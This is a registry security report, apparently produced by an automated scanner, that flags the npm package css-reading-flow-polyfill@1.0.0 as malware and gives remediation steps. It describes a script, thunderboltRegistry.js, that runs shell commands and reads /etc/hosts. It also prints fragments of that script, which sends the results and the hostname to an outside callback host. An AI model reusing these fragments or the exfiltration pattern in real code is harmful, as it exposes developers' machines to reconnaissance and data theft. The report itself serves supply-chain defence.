registry / Data exfiltration / css-reading-flow-polyfill
css-reading-flow-polyfill
Polyfill for CSS reading-flow property
This report shows the evidence for css-reading-flow-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiDirect source inspection establishes automatic reconnaissance and data exfiltration when the advertised registry script loads. This concrete attack behavior warrants blocking despite the absence of installation hooks.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment with Node.js capabilities and fetch available.
Impact
Exposure of host identity, operating system and network information, and /etc/hosts contents.
Mechanism
An immediately invoked function obtains child_process, runs shell commands, and sends their results and the hostname through HTTP query parameters.
Attack narrative
The package ships a registry manifest that directs registry consumers to thunderboltRegistry.js. Loading that script immediately attempts shell commands that reveal user, system, and network details, reads /etc/hosts, and forwards results with the hostname to dxpoc.gt.tc. This behavior has no apparent connection to a CSS reading-flow polyfill. The empty default entrypoint limits activation but does not neutralize the executable registry payload.
AI rationale
Direct source inspection establishes automatic reconnaissance and data exfiltration when the advertised registry script loads. This concrete attack behavior warrants blocking despite the absence of installation hooks.
Evidence
package.jsonregistry-manifest.min.jsonthunderboltRegistry.js/etc/hosts
Network endpoints2
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1fstatic.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json ships the registry manifest and thunderboltRegistry.js alongside the main entrypoint.
- The registry manifest maps registry modules to the hosted thunderboltRegistry.js payload.
- thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.
- On loading, the script executes the id command and forwards its output.
- The script reads /etc/hosts through a shell command and forwards up to 2,000 characters.
Evidence against
- The default index.js entrypoint exports an empty object, and package.json has no lifecycle hooks; the attack requires loading the registry script.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
9 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-interop-observer-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-interop-observer-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
9 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-reading-flow-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-reading-flow-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.